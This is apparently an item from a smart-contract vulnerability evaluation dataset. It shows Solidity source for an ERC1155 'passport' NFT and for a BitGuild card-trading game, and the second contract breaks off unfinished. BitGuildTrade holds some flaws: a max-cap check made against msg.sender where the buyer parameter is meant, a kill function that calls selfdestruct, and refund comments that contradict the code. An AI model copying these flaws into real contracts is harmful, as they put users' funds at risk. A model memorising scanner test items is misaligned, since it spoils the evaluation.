return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data) external;
function safeBatchTransferFrom(address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data) external;
}
interface IERC1155Receiver is IERC165 {
function onERC1155Received(address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data) external returns (bytes4);
function onERC1155BatchReceived(address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data) external returns (bytes4);
}
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
}
interface IERC1155MetadataURI is IERC1155 {
function uri(uint256 id) external view returns (string memory);
}
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
mapping(uint256 => string) private _tokenURIs;
constructor() {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256 tokenId) public view virtual override returns (string memory) {
return _tokenURIs[tokenId];
}
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
function _setURI(uint256 tokenId, string memory newuri) internal virtual {
_tokenURIs[tokenId] = newuri;
}
function _mint(address account,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
function _mintBatch(address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
function _burn(address account,
uint256 id,
uint256 amount) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
function _burnBatch(address account,
uint256[] memory ids,
uint256[] memory amounts) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _doSafeTransferAcceptanceCheck(address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract AMOEAUniversePassport is ERC1155, Ownable, ReentrancyGuard
{
//Minting limit
mapping(uint256 => uint256) private _mintLimit;
//Minting tokenid
uint16 MINTING_TOKEN_ID = 1;
//Record amout of tokenid
mapping(uint16 => uint16) private _tokenCount;
//Record the number of address mint
mapping(address => uint16) private _mintCount;
//Limit the number of address mint
uint16 _mintLimitForAddress = 1;
event Mint(address indexed user, uint256 indexed tokenId, uint256 amount);
constructor() ERC1155(){
_setURI(MINTING_TOKEN_ID, "https://cdn.amoea.io/nft/amoea-universe-passport/TypeA/passport-1155.json");
_mintLimit[MINTING_TOKEN_ID] = 10000;
}
function setNowMintTokenID(uint16 mintTokenId) public onlyOwner
{
MINTING_TOKEN_ID = mintTokenId;
}
function setNowMintTokenMintLimit(uint16 tokenId, uint16 mintLimit) public onlyOwner
{
_mintLimit[tokenId] = mintLimit;
}
function setURI(uint16 tokenId, string memory newuri) public onlyOwner
{
_setURI(tokenId, newuri);
}
function getTotalSupplyByTokenId(uint16 tokenId) public view returns (uint256)
{
return _tokenCount[tokenId];
}
function getMintLimitByTokenId(uint16 tokenId) public view returns (uint256)
{
return _mintLimit[tokenId];
}
function getMintLimitForAddress() public view returns (uint256)
{
return _mintLimitForAddress;
}
function getTotalSupplyByAddress(address addr) public view returns (uint16)
{
return _mintCount[addr];
}
function setMintLimit(uint16 mintLimit) public onlyOwner
{
_mintLimitForAddress = mintLimit;
}
function multiMint(uint16 tokenId, uint16 count) public onlyOwner
{
address to = _msgSender();
_tokenCount[tokenId] += count;
_mint(to, tokenId, count, "");
emit Mint(to, tokenId, count);
}
function freeMint() public nonReentrant
{
require(_mintCount[_msgSender()] < _mintLimitForAddress, "Too many mint");
require(_tokenCount[MINTING_TOKEN_ID] < _mintLimit[MINTING_TOKEN_ID], "Sold out");
address to = _msgSender();
_mintCount[to] += 1;
_tokenCount[MINTING_TOKEN_ID] += 1;
_mint(to, MINTING_TOKEN_ID, 1, "");
emit Mint(to, MINTING_TOKEN_ID, 1);
}
}
| 231,388 | 11,224 |
b0987e3577e71f418c314978e4e1e16db7b218cfff9fbda67082d619cd696c4b
| 22,928 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x21598cebb98796f2746bcca0704b4a8d89b70e62.sol
| 6,269 | 21,477 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface BitGuildTokenInterface { // implements ERC20Interface
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface CardsInterface {
function getGameStarted() external constant returns (bool);
function getOwnedCount(address player, uint256 cardId) external view returns (uint256);
function getMaxCap(address _addr,uint256 _cardId) external view returns (uint256);
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function balanceOf(address player) public constant returns(uint256);
function coinBalanceOf(address player,uint8 itype) external constant returns(uint256);
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) external;
function getUnitsProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256);
function increasePlayersJadeProduction(address player, uint256 increase) public;
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external;
function getUintsOwnerCount(address _address) external view returns (uint256);
function AddPlayers(address _address) external;
function setUintsOwnerCount(address _address, uint256 amount, bool iflag) external;
function setOwnedCount(address player, uint256 cardId, uint256 amount, bool iflag) external;
function setCoinBalance(address player, uint256 eth, uint8 itype, bool iflag) external;
function setTotalEtherPool(uint256 inEth, uint8 itype, bool iflag) external;
function getUpgradesOwned(address player, uint256 upgradeId) external view returns (uint256);
function setUpgradesOwned(address player, uint256 upgradeId) external;
function updatePlayersCoinByOut(address player) external;
function balanceOfUnclaimed(address player) public constant returns (uint256);
function setLastJadeSaveTime(address player) external;
function setRoughSupply(uint256 iroughSupply) external;
function setJadeCoin(address player, uint256 coin, bool iflag) external;
function getUnitsInProduction(address player, uint256 unitId, uint256 amount) external constant returns (uint256);
function reducePlayersJadeProduction(address player, uint256 decrease) public;
}
interface GameConfigInterface {
function unitCoinProduction(uint256 cardId) external constant returns (uint256);
function unitPLATCost(uint256 cardId) external constant returns (uint256);
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256);
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256);
function getUpgradeCardsInfo(uint256 upgradecardId,uint256 existing) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost);
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256, bool);
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, bool);
}
interface RareInterface {
function getRareItemsOwner(uint256 rareId) external view returns (address);
function getRareItemsPrice(uint256 rareId) external view returns (uint256);
function getRareItemsPLATPrice(uint256 rareId) external view returns (uint256);
function getRarePLATInfo(uint256 _tokenId) external view returns (uint256 sellingPrice,
address owner,
uint256 nextPrice,
uint256 rareClass,
uint256 cardId,
uint256 rareValue);
function transferToken(address _from, address _to, uint256 _tokenId) external;
function setRarePrice(uint256 _rareId, uint256 _price) external;
}
contract BitGuildTrade is AccessAdmin {
BitGuildTokenInterface public tokenContract;
//data contract
CardsInterface public cards ;
GameConfigInterface public schema;
RareInterface public rare;
function BitGuildTrade() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
event UnitBought(address player, uint256 unitId, uint256 amount);
event UpgradeCardBought(address player, uint256 upgradeId);
event BuyRareCard(address player, address previous, uint256 rareId,uint256 iPrice);
event UnitSold(address player, uint256 unitId, uint256 amount);
mapping(address => mapping(uint256 => uint256)) unitsOwnedOfPLAT; //cards bought through plat
function() external payable {
revert();
}
function setBitGuildToken(address _tokenContract) external onlyOwner {
tokenContract = BitGuildTokenInterface(_tokenContract);
}
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
//normal cards
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
//rare cards
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function kill() public onlyOwner {
tokenContract.transferFrom(this, msg.sender, tokenContract.balanceOf(this));
selfdestruct(msg.sender); //end execution, destroy current contract and send funds to a
}
/// @notice Returns all the relevant information about a specific tokenId.
/// val1:flag,val2:id,val3:amount
function _getExtraParam(bytes _extraData) private pure returns(uint256 val1,uint256 val2,uint256 val3) {
if (_extraData.length == 2) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = 1;
} else if (_extraData.length == 3) {
val1 = uint256(_extraData[0]);
val2 = uint256(_extraData[1]);
val3 = uint256(_extraData[2]);
}
}
function receiveApproval(address _player, uint256 _value, address _tokenContractAddr, bytes _extraData) external {
require(msg.sender == _tokenContractAddr);
require(_extraData.length >=1);
require(tokenContract.transferFrom(_player, address(this), _value));
uint256 flag;
uint256 unitId;
uint256 amount;
(flag,unitId,amount) = _getExtraParam(_extraData);
if (flag==1) {
buyPLATCards(_player, _value, unitId, amount); // 1-39
} else if (flag==3) {
buyUpgradeCard(_player, _value, unitId); // >=1
} else if (flag==4) {
buyRareItem(_player, _value, unitId); //rarecard
}
}
/// buy normal cards via jade
function buyBasicCards(uint256 unitId, uint256 amount) external {
require(cards.getGameStarted());
require(amount>=1);
uint256 existing = cards.getOwnedCount(msg.sender,unitId);
uint256 total = SafeMath.add(existing, amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(msg.sender,unitId)); // Housing upgrades (allow more units)
}
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
if (unitId>=1 && unitId<=39) {
(, coinProduction, coinCost, ethCost,) = schema.getCardInfo(unitId, existing, amount);
} else if (unitId>=40) {
(, coinCost, ethCost,) = schema.getBattleCardInfo(unitId, existing, amount);
}
require(cards.balanceOf(msg.sender) >= coinCost);
require(ethCost == 0); // Free ether unit
// Update players jade
cards.updatePlayersCoinByPurchase(msg.sender, coinCost);
//
if (coinProduction > 0) {
cards.increasePlayersJadeProduction(msg.sender,cards.getUnitsProduction(msg.sender, unitId, amount));
cards.setUintCoinProduction(msg.sender,unitId,cards.getUnitsProduction(msg.sender, unitId, amount),true);
}
//players
if (cards.getUintsOwnerCount(msg.sender)<=0) {
cards.AddPlayers(msg.sender);
}
cards.setUintsOwnerCount(msg.sender,amount,true);
cards.setOwnedCount(msg.sender,unitId,amount,true);
UnitBought(msg.sender, unitId, amount);
}
function buyBasicCards_Migrate(address _addr, uint256 _unitId, uint256 _amount) external onlyAdmin {
require(cards.getGameStarted());
require(_amount>=1);
uint256 existing = cards.getOwnedCount(_addr,_unitId);
uint256 total = SafeMath.add(existing, _amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(_addr,_unitId)); // Housing upgrades (allow more units)
}
require (_unitId == 41);
uint256 coinCost;
uint256 ethCost;
(, coinCost, ethCost,) = schema.getBattleCardInfo(_unitId, existing, _amount);
//players
if (cards.getUintsOwnerCount(_addr)<=0) {
cards.AddPlayers(_addr);
}
cards.setUintsOwnerCount(_addr,_amount,true);
cards.setOwnedCount(_addr,_unitId,_amount,true);
UnitBought(_addr, _unitId, _amount);
}
function buyPLATCards(address _player, uint256 _platValue, uint256 _cardId, uint256 _amount) internal {
require(cards.getGameStarted());
require(_amount>=1);
uint256 existing = cards.getOwnedCount(_player,_cardId);
uint256 total = SafeMath.add(existing, _amount);
if (total > 99) { // Default unit limit
require(total <= cards.getMaxCap(msg.sender,_cardId)); // Housing upgrades (allow more units)
}
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
if (_cardId>=1 && _cardId<=39) {
coinProduction = schema.unitCoinProduction(_cardId);
coinCost = schema.getCostForCards(_cardId, existing, _amount);
ethCost = SafeMath.mul(schema.unitPLATCost(_cardId),_amount); // get platprice
} else if (_cardId>=40) {
coinCost = schema.getCostForBattleCards(_cardId, existing, _amount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_cardId),_amount); // get platprice
}
require(ethCost>0);
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= ethCost);
require(cards.balanceOf(_player) >= coinCost);
// Update players jade
cards.updatePlayersCoinByPurchase(_player, coinCost);
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
// Store overbid in their balance
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
uint256 devFund = uint256(SafeMath.div(ethCost,20)); // 5% fee
cards.setTotalEtherPool(uint256(SafeMath.div(ethCost,4)),1,true); // 20% to pool
cards.setCoinBalance(owner,devFund,1,true);
if (coinProduction > 0) {
cards.increasePlayersJadeProduction(_player, cards.getUnitsProduction(_player, _cardId, _amount));
cards.setUintCoinProduction(_player,_cardId,cards.getUnitsProduction(_player, _cardId, _amount),true);
}
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,_amount, true);
cards.setOwnedCount(_player,_cardId,_amount,true);
unitsOwnedOfPLAT[_player][_cardId] = SafeMath.add(unitsOwnedOfPLAT[_player][_cardId],_amount);
//event
UnitBought(_player, _cardId, _amount);
}
/// buy upgrade cards with ether/Jade
function buyUpgradeCard(uint256 upgradeId) external payable {
require(cards.getGameStarted());
require(upgradeId>=1);
uint256 existing = cards.getUpgradesOwned(msg.sender,upgradeId);
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(coinCost, ethCost, upgradeClass, unitId, upgradeValue,) = schema.getUpgradeCardsInfo(upgradeId,existing);
if (upgradeClass<8) {
require(existing<=5);
} else {
require(existing<=2);
}
require (coinCost>0 && ethCost==0);
require(cards.balanceOf(msg.sender) >= coinCost);
cards.updatePlayersCoinByPurchase(msg.sender, coinCost);
cards.upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
cards.setUpgradesOwned(msg.sender,upgradeId); //upgrade cards level
UpgradeCardBought(msg.sender, upgradeId);
}
/// upgrade cards-- jade + plat
function buyUpgradeCard(address _player, uint256 _platValue,uint256 _upgradeId) internal {
require(cards.getGameStarted());
require(_upgradeId>=1);
uint256 existing = cards.getUpgradesOwned(_player,_upgradeId);
require(existing<=5); // v1 - v6
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
uint256 platCost;
(coinCost, ethCost, upgradeClass, unitId, upgradeValue,platCost) = schema.getUpgradeCardsInfo(_upgradeId,existing);
require(platCost>0);
if (platCost > 0) {
require(SafeMath.add(cards.coinBalanceOf(_player,1),_platValue) >= platCost);
if (platCost > _platValue) { // They can use their balance instead
cards.setCoinBalance(_player, SafeMath.sub(platCost,_platValue),1,false);
} else if (platCost < _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(_platValue,platCost),1,true);
}
// defund 5%upgrade card can not be sold
uint256 devFund = uint256(SafeMath.div(platCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance)
cards.setTotalEtherPool(SafeMath.sub(platCost,devFund),1,true); // Rest goes to div pool (Can't sell upgrades)
cards.setCoinBalance(owner,devFund,1,true);
}
// Update
require(cards.balanceOf(_player) >= coinCost);
cards.updatePlayersCoinByPurchase(_player, coinCost);
//add weight
cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
cards.setUpgradesOwned(_player,_upgradeId); // upgrade level up
//add user to userlist
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
UpgradeCardBought(_player, _upgradeId);
}
// Allows someone to send ether and obtain the token
function buyRareItem(address _player, uint256 _platValue,uint256 _rareId) internal {
require(cards.getGameStarted());
address previousOwner = rare.getRareItemsOwner(_rareId); // rare card
require(previousOwner != 0);
require(_player!=previousOwner); // can not buy from itself
uint256 ethCost = rare.getRareItemsPLATPrice(_rareId); // get plat cost
uint256 totalCost = SafeMath.add(cards.coinBalanceOf(_player,1),_platValue);
require(totalCost >= ethCost);
// We have to claim buyer/sellder's goo before updating their production values
cards.updatePlayersCoinByOut(_player);
cards.updatePlayersCoinByOut(previousOwner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(,,,,upgradeClass, unitId, upgradeValue) = rare.getRarePLATInfo(_rareId);
// modify weight
cards.upgradeUnitMultipliers(_player, upgradeClass, unitId, upgradeValue);
cards.removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
// Splitbid/Overbid
if (ethCost > _platValue) {
cards.setCoinBalance(_player,SafeMath.sub(ethCost,_platValue),1,false);
} else if (_platValue > ethCost) {
// Store overbid in their balance
cards.setCoinBalance(_player,SafeMath.sub(_platValue,ethCost),1,true);
}
// Distribute ethCost uint256 devFund = ethCost / 50;
uint256 devFund = uint256(SafeMath.div(ethCost, 20)); // 5% fee on purchases (marketing, gameplay & maintenance) 2%
uint256 dividends = uint256(SafeMath.div(ethCost,20)); // 5% goes to pool
cards.setTotalEtherPool(dividends,1,true); // 5% to pool
cards.setCoinBalance(owner,devFund,1,true); // 5% fee
// Transfer / update rare item
rare.transferToken(previousOwner,_player,_rareId);
rare.setRarePrice(_rareId,SafeMath.div(SafeMath.mul(rare.getRareItemsPrice(_rareId),5),4));
cards.setCoinBalance(previousOwner,SafeMath.sub(ethCost,SafeMath.add(dividends,devFund)),1,true);
if (cards.getUintsOwnerCount(_player)<=0) {
cards.AddPlayers(_player);
}
cards.setUintsOwnerCount(_player,1,true);
cards.setUintsOwnerCount(previousOwner,1,true);
//tell the world
BuyRareCard(_player, previousOwner, _rareId, ethCost);
}
/// refunds 75% since no transfer between bitguild and player,no need to call approveAndCall
function sellCards(uint256 _unitId, uint256 _amount) external {
require(cards.getGameStarted());
uint256 existing = cards.getOwnedCount(msg.sender,_unitId);
require(existing >= _amount && _amount>0);
existing = SafeMath.sub(existing,_amount);
uint256 coinChange;
uint256 decreaseCoin;
uint256 schemaUnitId;
uint256 coinProduction;
uint256 coinCost;
uint256 ethCost;
bool sellable;
if (_unitId>=40) { // upgrade card
(schemaUnitId,coinCost,, sellable) = schema.getBattleCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitBattlePLATCost(_unitId),_amount);
} else {
(schemaUnitId, coinProduction, coinCost, , sellable) = schema.getCardInfo(_unitId, existing, _amount);
ethCost = SafeMath.mul(schema.unitPLATCost(_unitId),_amount); // plat
}
require(sellable); // can be refunded
if (ethCost>0) {
require(unitsOwnedOfPLAT[msg.sender][_unitId]>=_amount);
}
if (coinCost>0) {
coinChange = SafeMath.add(cards.balanceOfUnclaimed(msg.sender), SafeMath.div(SafeMath.mul(coinCost,70),100)); // Claim unsaved goo whilst here
} else {
coinChange = cards.balanceOfUnclaimed(msg.sender);
}
cards.setLastJadeSaveTime(msg.sender);
cards.setRoughSupply(coinChange);
cards.setJadeCoin(msg.sender, coinChange, true); // refund 75% Jadecoin to player
decreaseCoin = cards.getUnitsInProduction(msg.sender, _unitId, _amount);
if (coinProduction > 0) {
cards.reducePlayersJadeProduction(msg.sender, decreaseCoin);
//update the speed of jade minning
cards.setUintCoinProduction(msg.sender,_unitId,decreaseCoin,false);
}
if (ethCost > 0) { // Premium units sell for 75% of buy cost
cards.setCoinBalance(msg.sender,SafeMath.div(SafeMath.mul(ethCost,70),100),1,true);
}
cards.setOwnedCount(msg.sender,_unitId,_amount,false);
cards.setUintsOwnerCount(msg.sender,_amount,false);
if (ethCost>0) {
unitsOwnedOfPLAT[msg.sender][_unitId] = SafeMath.sub(unitsOwnedOfPLAT[msg.sender][_unitId],_amount);
}
//tell the world
UnitSold(msg.sender, _unitId, _amount);
}
//@notice for player withdraw
function withdrawEtherFromTrade(uint256 amount) external {
require(amount <= cards.coinBalanceOf(msg.sender,1));
cards.setCoinBalance(msg.sender,amount,1,false);
tokenContract.transfer(msg.sender,amount);
}
//@notice withraw all PLAT by dev
function withdrawToken(uint256 amount) external onlyOwner {
uint256 balance = tokenContract.balanceOf(this);
require(balance > 0 && balance >= amount);
tokenContract.transfer(msg.sender, amount);
}
function getCanSellUnit(address _address, uint256 unitId) external view returns (uint256) {
return unitsOwnedOfPLAT[_address][unitId];
}
}
library SafeMath {
